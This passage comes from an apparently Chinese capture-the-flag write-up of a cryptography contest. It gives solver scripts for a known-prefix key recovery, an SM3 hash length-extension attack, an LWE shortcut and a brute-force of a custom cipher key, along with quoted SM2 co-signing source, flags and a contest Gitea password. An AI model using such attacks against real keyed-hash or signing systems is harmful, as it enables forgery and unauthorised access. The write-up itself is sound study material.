blocks[-1] = blocks[-1].ljust(16, b'\x00') encrypted_blocks = [] k = key # 加密每个分组 for block in blocks: block_int = int.from_bytes(block, byteorder='big') encrypted_block_int = Mod(block_int * k, MODULUS) encrypted_blocks.append(encrypted_block_int) k += 1 # 密钥自增1 # 将加密后的分组连接成最终的密文 encrypted_message = b''.join( int(block_int).to_bytes(32, byteorder='big') for block_int in encrypted_blocks ) return encrypted_message # 解密函数 def decrypt_message(encrypted_message, key): num_blocks = len(encrypted_message) // 32 blocks = [encrypted_message[i * 32:(i + 1) * 32] for i in range(num_blocks)] decrypted_blocks = [] k = key # 解密每个分组 for block in blocks: block_int = int.from_bytes(block, byteorder='big') key_inv = mod_inverse(k, MODULUS) decrypted_block_int = Mod(block_int * key_inv, MODULUS) decrypted_blocks.append(decrypted_block_int) k += 1 # 密钥自增1 # 将解密后的分组连接成最终的明文 decrypted_message = b''.join( int(block_int).to_bytes(16, byteorder='big') for block_int in decrypted_blocks ) # 去除前缀 if decrypted_message.startswith(MSG_PREFIX.encode('utf-8')): decrypted_message = decrypted_message[len(MSG_PREFIX):] return decrypted_message.rstrip(b'\x00').decode('utf-8') # 测试 initial_key = Integer(0x123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0) message = "Hello, this is a test message." print("Original Message:", message) # 加密 encrypted_message = encrypt_message(message, initial_key) print("Encrypted Message (hex):", encrypted_message.hex()) # 解密 decrypted_message = decrypt_message(encrypted_message, initial_key) print("Decrypted Message:", decrypted_message) 题目加密流程大概如下: 有一个未知的initial_key,与一个未知的message对于这个message,题目会在他前面填上一个固定的前缀”CryptoCup message:”,并在最后补充上”\x00”使得整个消息长为16的倍数将填充了前后缀的消息按16字节为一组分组从第一个分组开始,将该分组消息转化为整数,记为mi,并计算: 其中ki是key在对应分组的值(key每个分组之后会自增一) 将所有ci转成32字节,并连接在一起得到密文靶机只会发送encrypted_message,要发送给他message来拿到flag。这个可以说是相当轻松了,由于有一个已知的前缀,并且他超过了16字节,因此就有第一个分组对应的明文和密文,所以就可以直接求出key来。 exp: from Crypto.Util.number import * N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123" MODULUS = int(N_HEX, 16) MSG_PREFIX = b"CryptoCup message:" c = bytes.fromhex("a7ea042608ffce5be79a19ee45533506819e85f8d9250fccef5a89731151fd7a76d83aa85c47ba1357a86d0e9763470fb608cd54d0927125f500353e156a01da759fa814e96fa41a888eea3a9cf9b062923ed70774add490c7ed7f83d6b47e711e7b3c8a960dcc2838e577459bb6f2769d0917e1fd57db0829633b77652c2180") C = [c[32*i:32*i+32] for i in range(len(c)//32)] msg = b"" key = bytes_to_long(C[0]) * inverse(bytes_to_long(MSG_PREFIX[:16]), MODULUS) % MODULUS for i in range(len(C)): msg += long_to_bytes(bytes_to_long(C[i]) * inverse(key,MODULUS) % MODULUS) key += 1 print(msg) #CryptoCup message:dHyNBCgxEq4prNBbxjDOiOgmvviuAgfx\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ 发送message回去之后就会拿到flag,以及一个登录Gitea的帐号密码: 验证通过 flag{OYLXbASQsEc5SVkhBj7kTiSBc4AM5ZkR} gitea账号:giteauser2024 gitea口令:S(*HD^WY63y89TY71 提示:gitea账号和口令用于登录第二环节的gitea服务器,请注意保存! 后面两个初始谜题也都是给一个拿分的flag,以及一个账号密码作为开第二部分的钥匙,所以后面两个初始谜题就不写这个了 初始谜题二(300 pts)题目: import binascii from gmssl import sm3 # 读取HMAC key文件 def read_hmac_key(file_path): with open(file_path, 'rb') as f: hmac_key = f.read().strip() return hmac_key # 生成token def generate_token(hmac_key, counter): # 如果HMAC_KEY长度不足32字节,则在末尾补0,超过64字节则截断 if len(hmac_key) < 32: hmac_key = hmac_key.ljust(32, b'\x00') elif len(hmac_key) > 32: hmac_key = hmac_key[:32] # 将计数器转换为字节表示 counter_bytes = counter.to_bytes((counter.bit_length() + 7) // 8, 'big') # print("counter_bytes:", binascii.hexlify(counter_bytes)) tobe_hashed = bytearray(hmac_key + counter_bytes) # print("tobe_hashed:", binascii.hexlify(tobe_hashed)) # 使用SM3算法计算哈希值 sm3_hash = sm3.sm3_hash(tobe_hashed) # 将SM3的哈希值转换为十六进制字符串作为token token = sm3_hash return token current_counter = 0 def verify_token(hmac_key, counter, token): # 生成token generated_token = generate_token(hmac_key, counter) global current_counter # 比较生成的token和输入的token是否相同 if generated_token == token: if counter & 0xFFFFFFFF > current_counter: current_counter = counter & 0xFFFFFFFF print("current_counter: ", hex(current_counter)) return "Success" else: return "Error: counter must be increasing" else: return "Error: token not match" # 假设HMAC key文件路径 hmac_key_file = 'hmac_key.txt' # 假设计数器值 counter = 0x12345678 # 读取HMAC key hmac_key = read_hmac_key(hmac_key_file) # 生成token token = generate_token(hmac_key, counter) print("Generated token:", token) print(verify_token(hmac_key, counter, token)) 题目内容很简单: 读取一个未知的hmac_key,并生成一个随机的counter将hmac_key控制在32字节(不足则填充”\x00”,超出则截断)将hmac_key与counter拼接起来进行SM3哈希然后下发的数据有: SM3得到的哈希值counter值我们需要完成的事情是: 找到一个新的counter,使得新counter的低32位比原来的counter大计算出hmac_key与新counter拼接后的SM3哈希值发送新counter和这个哈希值就能拿到flag看明白题意就会知道这是一个基于SM3的哈希长度扩展攻击,由于控制了hmac_key为32字节,并且counter只有4字节,而SM3的分组长度是64字节,所以说我们拿到的哈希值是只有一个分组的。而按照SM3的填充规则,这个分组哈希的完整分组其实是下面这部分内容的part1 + part2:(单引号代表字节串,双引号代表比特串) #448 bits part1 = 'hmac_key'(32 bytes) + 'counter'(4 bytes) + "1" + "00...0" #64 bits part2 = bin(8*(len(hmac_key + counter)))[2:].zfill(64) 这两部分拼起来就得到了完整的第一个分组。 SM3的哈希长度扩展攻击基于其Merkle Damgard结构,我们可以用一个已知分组的哈希值,去继续迭代计算更长的含有该分组消息的哈希值,而不需要知道这个分组对应的明文是什么。所以我们完全可以构造下面这样的counter: New_counter = 'counter'(4 bytes) + "1" + "00...0" + bin(8*(len(hmac_key + counter)))[2:].zfill(64) + '\xff\xff\xff\xff' 那么hmac_key拼接上这个counter后,其用于SM3哈希的消息就会按64字节分为两组,而第一组是和靶机发送的消息完全一样的,因此我们就可以利用哈希长度扩展攻击迭代计算整个消息的哈希值了,具体实现代码是赛前那天晚上在github上随便找的: KKrias/length-extension-attack-for-SM3 (github.com) 稍微对着题意改一改就好。 exp: def zero_fill(a,n): if len(a)<n: a="0"*(n-len(a))+a return a def cycle_shift_left( B, n): n=n%32 return ((B << n) ^ (B >> (32 - n)))%(2**32) def T(j): if j>=0 and j<=15: return int("79cc4519",16) elif j>=16 and j<=63: return int("7a879d8a",16) def FF(X,Y,Z,j): if j>=0 and j<=15: return X^Y^Z elif j>=16 and j<=63: return (X&Y)|(X&Z)|(Y&Z) def GG(X,Y,Z,j): if j >= 0 and j <= 15: return X ^ Y ^ Z elif j >= 16 and j <= 63: return (X & Y) | (~X & Z) def P0(x): return x^(cycle_shift_left(x,9))^cycle_shift_left(x,17) def P1(x): return x^(cycle_shift_left(x,15))^cycle_shift_left(x,23) def Message_extension(a): #a的数一定要满足512bit,不够要补零!! ,承接的是字符串 W1 = [] # W0-15 W2=[] # W' 0-63 #print("a消息扩展的a:",a) for i in range(int(len(a) / 8)): W1.append(int(a[8 * i:8 * i + 8],16)) #print("W1的前16个",a[8 * i:8 * i + 8]) for j in range(16,68): temp=P1(W1[j-16] ^ W1[j-9] ^ cycle_shift_left(W1[j-3],15)) ^cycle_shift_left(W1[j-13],7)^W1[j-6] #print("消息扩展:",hex(temp)) W1.append(temp) for j in range(0,64): W2.append(W1[j]^W1[j+4]) W1.append(W2) return W1 def CF(V,Bi): #V是字符串 Bi=zero_fill(Bi,128) W=[] W=Message_extension(Bi) #消息扩展完的消息字 #print("W:",W) A=int(V[0:8],16) #print("A:", hex(A)) B = int(V[8:16], 16) C = int(V[16:24], 16) D = int(V[24:32], 16) E = int(V[32:40], 16) F = int(V[40:48], 16) G = int(V[48:56], 16) H = int(V[56:64], 16) for j in range(0,64): temp=(cycle_shift_left(A,12) + E +cycle_shift_left(T(j),j)) %(2**32) SS1=cycle_shift_left(temp,7) SS2=SS1 ^ cycle_shift_left(A,12) TT1=(FF(A,B,C,j) +D +SS2 +W[-1][j] ) %(2**32) TT2=(GG(E,F,G,j)+H+SS1+W[j])%(2**32) D=C C=cycle_shift_left(B,9) B=A A=TT1 H=G G=cycle_shift_left(F,19) F=E E=P0(TT2) #print("B:", hex(B)) t1=zero_fill(hex(A^int(V[0:8],16))[2:],8) t2 = zero_fill(hex(B ^ int(V[8:16], 16))[2:], 8) t3 = zero_fill(hex(C ^ int(V[16:24], 16))[2:], 8) t4 = zero_fill(hex(D ^ int(V[24:32], 16))[2:], 8) t5 = zero_fill(hex(E ^ int(V[32:40], 16))[2:], 8) t6 = zero_fill(hex(F ^ int(V[40:48], 16))[2:], 8) t7 = zero_fill(hex(G ^ int(V[48:56], 16))[2:], 8) t8 = zero_fill(hex(H ^ int(V[56:64], 16))[2:], 8) t=t1+t2+t3+t4+t5+t6+t7+t8 return t def SM3(plaintext): Vtemp=IV a=(len(plaintext)*4+1 ) % 512 #print(a) k=0 B=[] if a<=448: k=448-a elif a>448: k=512-a+448 #print(k) m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4))[2:],16) #print(m) block_len=int((len(plaintext)*4 + k + 65) / 512) #print(block_len) for i in range(0,block_len): B.append(m[128*i:128*i+128]) #分组 #print("B:",B) for i in range(0,block_len): Vtemp=CF(Vtemp,B[i]) return Vtemp def SM3_len_ex_ak(num_block,IV,plaintext): Vtemp=IV a=(len(plaintext)*4+1 ) % 512 #print(a) k=0 B=[] if a<=448: k=448-a elif a>448: k=512-a+448 #print(k) m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4+num_block*512))[2:],16) #print(m) block_len=int((len(plaintext)*4 + k + 65) / 512) #print(block_len) for i in range(0,block_len): B.append(m[128*i:128*i+128]) #分组 #print("B:",B) for i in range(0,block_len): Vtemp=CF(Vtemp,B[i]) return Vtemp IV="7380166f4914b2b9172442d7da8a0600a96f30bc163138aae38dee4db0fb0e4e" ############################################################################# IV2="c2427b818b1fb3b9e72e0ec8c60d101a17865842506e6b0052278a0c156d9e7a" num_block=1 counter = "51f18456" New_Counter = hex(int((bin(int(counter,16))[2:].zfill(32) + "1") + "0"*(448 - 32*8 - 1 - 4*8) + bin(36*8)[2:].zfill(64) , 2))[2:] + "ffffffff" print(New_Counter) print(SM3_len_ex_ak(1,IV2,"FFFFFFFF")) #flag{3WhlSlIw4tSOhbY52j6CMrUCAYSLfrS9} 初始谜题三(300 pts)题目: import sympy as sp import random # 设置参数 n = 16 # 向量长度 q = 251 # 模数 # 生成随机噪声向量e e = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 噪声向量 # 生成随机n维私钥向量s和n*n矩阵A s = sp.Matrix(sp.randMatrix(n, 1, min=0, max=q - 1)) # 私钥向量 Temp = sp.Matrix(sp.randMatrix(n, n, min=0, max=q - 1)) # 中间变量矩阵Temp A = Temp.inv_mod(q) # 计算矩阵Temp在模 q 下的逆矩阵作为A # 计算n维公钥向量b b = (A * s + e) % q # 公钥向量b = A * s + e # 加密函数 def encrypt(message, A, b): m_bin = bin(message)[2:].zfill(n) # 将消息转换为16比特的二进制字符串 m = sp.Matrix([int(bit) for bit in m_bin]) # 转换为SymPy矩阵 x = sp.Matrix(sp.randMatrix(n, n, min=0, max=q // (n * 4))) # 随机产生一个n*n的矩阵x e1 = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 随机产生一个n维噪声向量e c1 = (x * A) % q # 密文部分c1 = x * A c2 = (x * b + e1 + m * (q // 2)) % q # 密文部分c2 = x * b + e1 + m * q/2 return c1, c2 # 解密函数 def decrypt(c1, c2, s): m_dec = (c2 - c1 * s) % q m_rec = m_dec.applyfunc(lambda x: round(2 * x / q) % 2) # 还原消息 m_bin = ''.join([str(bit) for bit in m_rec]) # 将SymPy矩阵转换为二进制字符串 m_rec_int = int(m_bin, 2) # 将二进制字符串转换为整数 return m_rec_int # 测试加解密 message = random.randint(0, 2 ** n - 1) # 要加密的消息,随机生成一个16比特整数 c1, c2 = encrypt(message, A, b) # 加密 print("原始消息: ", message) print("公钥A=sp.", A) print("公钥b=sp.", b) print("密文c1=sp.", c1) print("密文c2=sp.", c2) decrypted_message = decrypt(c1, c2, s) print("解密后的消息: ", decrypted_message) # 输出解密 题目名字叫lwe,具体来说给了一些如下数据: 随机生成16维的01向量e随机生成16维的向量s以及16x16的可逆矩阵A,并计算: b=As+e将m转化为比特串,并进一步变为长度为16的01向量(也就是说m本身也只有2字节) 给出A、b、c1、c2,要求还原message并发送给他虽然说题目叫lwe,似乎也可以通过lwe的方法求出s来,但是很显眼的一点是维数仅仅为16,实在太小了,只需要琼剧2^16其中就一定有正确的e、e1了。 然而再仔细看发现有更离谱的一点,既然A、c1都给好了并且A可逆,那么x直接求就好了,然后就可以轻松得到: 而由于e1也是01向量,他对向量t的大小影响可以忽略不计,所以t中大于等于q/2的位置就是m中为1的位置,否则就是0。 exp: A = Matrix(ZZ,[[139, 63, 18, 202, 166, 185, 85, 108, 58, 90, 211, 248, 240, 44, 137, 39], [5, 230, 89, 226, 139, 24, 233, 20, 12, 108, 127, 11, 52, 64, 188, 156], [80, 61, 105, 3, 165, 96, 154, 40, 62, 103, 157, 75, 190, 101, 31, 239], [193, 100, 124, 216, 248, 95, 241, 196, 67, 192, 217, 114, 171, 248, 219, 169], [116, 71, 221, 105, 167, 153, 22, 124, 178, 45, 7, 183, 125, 8, 127, 123], [182, 162, 164, 184, 27, 148, 206, 73, 217, 86, 187, 137, 82, 150, 99, 65], [106, 60, 153, 91, 213, 41, 188, 92, 121, 246, 164, 223, 199, 85, 161, 25], [93, 97, 145, 31, 48, 36, 7, 110, 56, 47, 108, 79, 233, 186, 93, 181], [195, 98, 47, 147, 49, 40, 158, 89, 218, 8, 23, 118, 170, 19, 50, 17], [127, 95, 37, 48, 230, 244, 130, 37, 75, 125, 103, 154, 148, 218, 227, 178], [162, 235, 129, 44, 204, 228, 221, 130, 239, 36, 57, 38, 41, 74, 61, 155], [246, 11, 11, 97, 218, 57, 209, 72, 229, 27, 250, 73, 19, 64, 25, 62], [60, 162, 1, 110, 191, 130, 120, 227, 214, 98, 165, 245, 28, 55, 94, 190], [129, 212, 185, 156, 119, 239, 83, 221, 4, 174, 65, 218, 32, 211, 213, 223], [80, 218, 135, 245, 238, 127, 55, 68, 113, 145, 110, 59, 50, 177, 159, 146], [68, 239, 36, 166, 206, 23, 59, 126, 67, 152, 99, 189, 133, 113, 243, 198]]) b = Matrix(ZZ,[[88], [74], [219], [244], [81], [109], [81], [216], [125], [218], [170], [56], [152], [229], [204], [45]]) c1 = Matrix(ZZ,[[173, 2, 67, 11, 40, 80, 187, 38, 16, 226, 243, 79, 117, 127, 100, 113], [208, 231, 211, 196, 2, 146, 35, 2, 221, 119, 12, 25, 208, 152, 83, 201], [154, 43, 180, 76, 235, 5, 179, 196, 206, 171, 98, 145, 92, 144, 247, 98], [121, 145, 123, 232, 87, 78, 181, 145, 79, 166, 112, 169, 208, 102, 201, 63], [204, 141, 165, 225, 213, 137, 40, 43, 229, 151, 72, 237, 58, 15, 2, 31], [35, 114, 241, 31, 122, 123, 164, 231, 197, 89, 41, 236, 128, 22, 152, 82], [141, 133, 235, 79, 43, 120, 209, 231, 58, 85, 3, 44, 73, 245, 227, 62], [28, 158, 71, 41, 152, 32, 91, 200, 163, 46, 19, 121, 23, 209, 25, 55], [156, 17, 218, 146, 231, 242, 91, 76, 217, 57, 100, 212, 243, 87, 62, 159], [100, 111, 107, 62, 106, 72, 51, 79, 223, 93, 86, 145, 192, 21, 218, 243], [196, 250, 248, 166, 155, 39, 7, 93, 103, 54, 168, 188, 190, 104, 183, 64], [16, 131, 148, 193, 19, 149, 179, 212, 109, 170, 201, 168, 165, 167, 68, 25], [30, 222, 171, 32, 141, 105, 232, 104, 198, 53, 50, 157, 206, 165, 200, 42], [90, 149, 148, 112, 142, 228, 231, 119, 235, 248, 233, 9, 242, 102, 241, 93], [150, 32, 78, 183, 68, 249, 80, 165, 95, 229, 211, 0, 75, 14, 172, 139], [175, 69, 15, 100, 113, 63, 123, 71, 24, 250, 135, 232, 53, 32, 81, 117]]) c2 = Matrix(ZZ,[[18], [67], [187], [237], [99], [127], [128], [23], [83], [66], [64], [69], [7], [214], [43], [156]]) p = 251 A = Matrix(Zmod(p), A) c1 = Matrix(Zmod(p), c1) b = vector(b.T) c2 = vector(c2.T) x = c1*A^(-1) t = c2 - x*b m = "" for i in t: if(i >= p // 2): m += "1" else: m += "0" print(hex(int(m,2))) #21c4 第二部分:大型密码系统这一部分共有4个题目和一个最终挑战,题目之间是有顺序关系的,也就是要先做出某些题目,才能得到后续题目的附件、数据、登录密码之类的相关信息,具体来说这次挑战的先后顺序是: flag1和flag3可以同时挑战做出flag1可以开启flag2做出flag3可以开启flag4全部完成后可以开启最终挑战 flag1(600 pts)题目: passwordEncryptorV2.c: #include <stdio.h> #include <string.h> #include <openssl/sha.h> #define ROUND 16 //S-Box 16x16 int sBox[16] = { 2, 10, 4, 12, 1, 3, 9, 14, 7, 11, 8, 6, 5, 0, 15, 13 }; // 将十六进制字符串转换为 unsigned char 数组 void hex_to_bytes(const char* hex_str, unsigned char* bytes, size_t bytes_len) { size_t hex_len = strlen(hex_str); if (hex_len % 2 != 0 || hex_len / 2 > bytes_len) { fprintf(stderr, "Invalid hex string length.\n"); return; } for (size_t i = 0; i < hex_len / 2; i++) { sscanf(hex_str + 2 * i, "%2hhx", &bytes[i]); } } // 派生轮密钥 void derive_round_key(unsigned int key, unsigned char *round_key, int length) { unsigned int tmp = key; for(int i = 0; i < length / 16; i++) { memcpy(round_key + i * 16, &tmp, 4); tmp++; memcpy(round_key + i * 16 + 4, &tmp, 4); tmp++; memcpy(round_key + i * 16 + 8, &tmp, 4); tmp++; memcpy(round_key + i * 16 + 12, &tmp, 4); tmp++; } } // 比特逆序 void reverseBits(unsigned char* state) { unsigned char temp[16]; for (int i = 0; i < 16; i++) { unsigned char byte = 0; for (int j = 0; j < 8; j++) { byte |= ((state[i] >> j) & 1) << (7 - j); } temp[15 - i] = byte; } for (int i = 0; i < 16; i++) { state[i] = temp[i]; } } void sBoxTransform(unsigned char* state) { for (int i = 0; i < 16; i++) { int lo = sBox[state[i] & 0xF]; int hi = sBox[state[i] >> 4]; state[i] = (hi << 4) | lo; } } void leftShiftBytes(unsigned char* state) { unsigned char temp[16]; for (int i = 0; i < 16; i += 4) { temp[i + 0] = state[i + 2] >> 5 | (state[i + 1] << 3); temp[i + 1] = state[i + 3] >> 5 | (state[i + 2] << 3); temp[i + 2] = state[i + 0] >> 5 | (state[i + 3] << 3); temp[i + 3] = state[i + 1] >> 5 | (state[i + 0] << 3); } for (int i = 0; i < 16; i++) { state[i] = temp[i]; } } // 轮密钥加 void addRoundKey(unsigned char* state, unsigned char* roundKey, unsigned int round) { for (int i = 0; i < 16; i++) { for (int j = 0; j < 8; j++) { state[i] ^= ((roundKey[i + round * 16] >> j) & 1) << j; } } } // 加密函数 void encrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) { unsigned char roundKeys[16 * ROUND] = {}; // // 生成轮密钥 derive_round_key(key, roundKeys, 16 * ROUND); // 初始状态为16字节的口令 unsigned char state[16]; // 初始状态为16字节的密码 memcpy(state, password, 16); // 初始状态为密码的初始值 // 迭代加密过程 for (int round = 0; round < ROUND; round++) { reverseBits(state); sBoxTransform(state); leftShiftBytes(state); addRoundKey(state, roundKeys, round); } memcpy(ciphertext, state, 16); } void main() { unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令 unsigned int key = 0xF0FFFFFF; // 4字节的密钥 unsigned char ciphertext[16]; // 16字节的状态 printf("Password: \n"); printf("%s\n", password); encrypt(password, key, ciphertext); // 输出加密后的结果 printf("Encrypted password:\n"); for (int i = 0; i < 16; i++) { printf("%02X", ciphertext[i]); } printf("\n"); } 题目基于一个对称加密,给出了其具体实现步骤。连接靶机之后会给出密文,要求求出password,来解压带密码的协同签名源码文件压缩包,压缩包内含有本题的flag值以及flag2的源码。 可以看出在有key的情况下,解密就是把整个加密过程逆一下,这一部分交给学长很快就写好了。 然而学长发现对于靶机给出的密文,用题目给定的0xF0FFFFFF当作key是解不出他要求的”pwd:”开头的password的,所以我猜测这个key只是个示例,实际上要用这个已知的开头来爆破4字节的key。4字节对于c来说似乎也不算很大,因此简单修改下解密部分就开爆了。但是,实际效果并不是很理想,如果要爆破完所有解空间的话,差不多需要2^16秒,这对于仅仅6h的比赛来说太长了,所以要考虑一些优化。而比起仔细查看代码来说,最简单的优化当然是直接用多进程来做。 可是我只用过python的多进程,并且考虑到python本身的速度,为了用个多进程把整个求解代码转成python实在是不太划算。可是比赛不出网,要查询资料不仅需要申请,时间也只限10min,还会对整个队伍的成绩产生影响,更不划算。所以想来想去也只能三个人都多开点窗口,然后从不同的位置开爆。 也算是一种多进程了。 然而这样做有意想不到的效果——我让学弟倒着爆破的那个窗口过了一段时间真的跑出了结果,这个题也就顺利解掉了。 实际上最后一轮提示中有提到,因为某些原因,key首字节一定是F,所以倒着爆才更加快;此外还有一些其他地方可以减少耗时。 这里就不仔细研究产生这些优化的原因了,多进程肯定是最有力的XD,做出来就行。 exp:(header.h就是题目加密源码里的函数) #include "header.h" void print(unsigned char* m) { for (int i = 0; i < 16; i++) { printf("%02X", m[i]); } printf("\n"); } int sBox_inv[16] = { 13, 4, 0, 5, 2, 12, 11, 8, 10, 6, 1, 9, 3, 15, 7, 14 }; void rightShiftBytes(unsigned char* state) { unsigned char temp[16]; for (int i = 0; i < 16; i += 4) { temp[i + 0] = state[i + 2] << 5 | (state[i + 3] >> 3); temp[i + 1] = state[i + 3] << 5 | (state[i + 0] >> 3); temp[i + 2] = state[i + 0] << 5 | (state[i + 1] >> 3); temp[i + 3] = state[i + 1] << 5 | (state[i + 2] >> 3); } for (int i = 0; i < 16; i++) { state[i] = temp[i]; } } void decrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) { unsigned char roundKeys[16 * ROUND] = {}; derive_round_key(key, roundKeys, 16 * ROUND); unsigned char state[16]; memcpy(state, ciphertext, 16); for (int round = ROUND - 1; round >= 0; round--) { addRoundKey(state, roundKeys, round); rightShiftBytes(state); sBoxTransform(state, sBox_inv); reverseBits(state); } memcpy(password, state, 16); } int main() { // cipher = "B17164A27E035012107D6F7B0454D51D" // cipher = "99F2980AAB4BE8640D8F322147CBA409" unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令 unsigned char ciphertext[16]; // 16字节的状态 hex_to_bytes("99F2980AAB4BE8640D8F322147CBA409", ciphertext, 16); for (unsigned int key = 0; key < 0xFFFFFFFF; key++) { if ((key & 0xFFFF) == 0) printf("%d\n", key); decrypt(password, key, ciphertext); if (password[0] == 112 && password[1] == 119 && password[2] == 100 && password[3] == 58) { print(password); } } return 0; } flag2(900 pts)题目: co-signing_client.js: const form = ref({ password: "", msgdigest: "", }) const k1: any = ref(""); const submit = () => { isform.value.validate((valid: boolean) => { if (valid) { loading.value = true; let smPassword = ref(""); smPassword.value = sm3(form.value.password); // 客户端通过用户口令、消息摘要和用户私钥d1,计算客户端协同签名值 p1x, p1y, q1x, q1y, r1, s1 var { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1, errMessage } = clientSign1(smPassword.value, form.value.msgdigest); if (errMessage) { ElMessage.error(errMessage) loading.value = false; return } let data = { q1x: str_q1x, q1y: str_q1y, e: str_e, r1: str_r1, s1: str_s1, p1x: str_p1x, p1y: str_p1y } // 客户端将 e, p1x, p1y, q1x, q1y, r1, s1发送给服务端 // 服务端用服务端私钥d2计算服务端协同签名值 s2, s3, r 发送给客户端 sign_param_send(data).then((res: any) => { // 客户端通过s2, s3, r,计算协同签名值 s let str_s: any = clientSign2(smPassword.value, res.s2, res.s3, res.r); if (str_s.errMessage) { ElMessage.error(errMessage) loading.value = false; return } ElMessage.success("协同签名成功"); signature_send({ client_sign: str_s }).then((res: any) => { qmz.value = str_s; loading.value = false; }).then((err: any) => { loading.value = false; }) }).catch((err: any) => { loading.value = false; }) } }) } const clientSign1: any = (str_d1: any, str_e: any) => { let d1 = new BN(str_d1, 16); // console.log("e",str_e) let e = new BN(str_e, 16); // console.log("e",e) const sm2: any = new elliptic.curve.short({ p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF', a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC', b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93', n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123', g: [ '32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7', 'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0' ] } as any); let n = new BN(sm2.n.toString(16), 16); let G = sm2.g; // generate random k1 const randomBytes = cryptoRandomStringAsync({ length: 64 }); k1.value = new BN(randomBytes as any, 16); while(k1.value.mod(n).isZero()){ const randomBytes = cryptoRandomStringAsync({ length: 64 }); k1.value = new BN(randomBytes as any, 16); } k1.value = k1.value.mod(n); // d1 = d1 mod n d1 = d1.mod(n); if (d1.isZero()) { let errMessage = "d1=0,签名失败" return { errMessage } } //P1 = ((d1)^(-1)) * G let tmp1 = d1.invm(n); let P1 = G.mul(tmp1); //Q1 = k1*G = (x, y) let Q1 = G.mul(k1.value); let x = new BN(Q1.getX().toString(16), 16); //r1 = x mod n let r1 = x.mod(n); if (r1.isZero()) { let errMessage = "r1=0,签名失败" return { errMessage } } //s1 = k1^(-1) * (e + d1^(-1) * r1) mod n tmp1 = d1.invm(n); let tmp2 = tmp1.mul(r1).mod(n); let tmp3 = tmp2.add(e).mod(n); tmp1 = k1.value.invm(n); let s1 = tmp1.mul(tmp3).mod(n); if (s1.isZero()) { let errMessage = "s1=0,签名失败" return { errMessage } } str_e = e.toString(16); // console.log("str_e",str_e) let str_p1x = P1.getX().toString(16); let str_p1y = P1.getY().toString(16); let str_q1x = Q1.getX().toString(16); let str_q1y = Q1.getY().toString(16); let str_r1 = r1.toString(16); let str_s1 = s1.toString(16); return { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1 } } const clientSign2 = (str_d1: any, str_s2: any, str_s3: any, str_r: any) => { const sm2 = new elliptic.curve.short({ p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF', a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC', b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93', n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123', g: [ '32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7', 'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0' ] } as any); let d1 = new BN(str_d1, 16); let n = new BN(sm2.n.toString(16), 16); let s2 = new BN(str_s2, 16); let s3 = new BN(str_s3, 16); let r = new BN(str_r, 16); //s = d1*k1*s2 + d1*s3 -r mod n let tmp1 = d1.mul(k1.value).mod(n); let tmp2 = tmp1.mul(s2).mod(n); let tmp3 = d1.mul(s3).mod(n); tmp1 = tmp2.add(tmp3).mod(n); let s = tmp1.sub(r).mod(n); if (s.isZero()) { let errMessage = "s=0,签名失败" return { errMessage } } if (s.add(r).mod(n).isZero()) { let errMessage = "s=n-r,签名失败" return { errMessage } } let str_s = s.toString(16); if (str_s[0] == '-') { s = s.add(n).mod(n); str_s = s.toString(16); } return str_s; } co-signing_client.c: #include <stdio.h> #include <stdlib.h> #include <openssl/ec.h> #include <openssl/rand.h> #define SM2LEN 32 int error() { printf("Error.\n"); return 0; } int error_partial_verify() { printf("Error partial verify.\n"); return 0; } void print_flag2(const BIGNUM *d2) { char *hex_str = BN_bn2hex(d2); for (int i = 0; hex_str[i] != '\0'; i++) { if (hex_str[i] >= 'A' && hex_str[i] <= 'F') { hex_str[i] += 32; } } printf("flag2{%s}\n", hex_str); } typedef struct { char s2[SM2LEN * 2 + 1]; char s3[SM2LEN * 2 + 1]; char r[SM2LEN * 2 + 1]; int success; } Result; // 协同签名服务端签名算法 Result server(char* str_e,char* str_p1x,char* str_p1y,char* str_q1x,char* str_q1y,char* str_r1,char* str_s1){ Result res = {"", "", "", 0}; int rv = 1; BIGNUM *e,*a,*b,*p,*n,*x,*y; BIGNUM *d2,*r1,*s1,*p1x,*p1y,*q1x,*q1y; BIGNUM *u1,*u2,*xprime,*yprime,*k2,*k3,*x1,*y1,*r,*s2,*s3,*s,*tmp1,*tmp2,*tmp3; EC_GROUP* group; EC_POINT *generator,*G,*P,*P1,*Q1,*TMP; BN_CTX* bn_ctx = BN_CTX_new(); BN_CTX_start(bn_ctx); if (!bn_ctx) { error(); return res; } e = BN_CTX_get(bn_ctx); a = BN_CTX_get(bn_ctx); b = BN_CTX_get(bn_ctx); p = BN_CTX_get(bn_ctx); n = BN_CTX_get(bn_ctx); d2 = 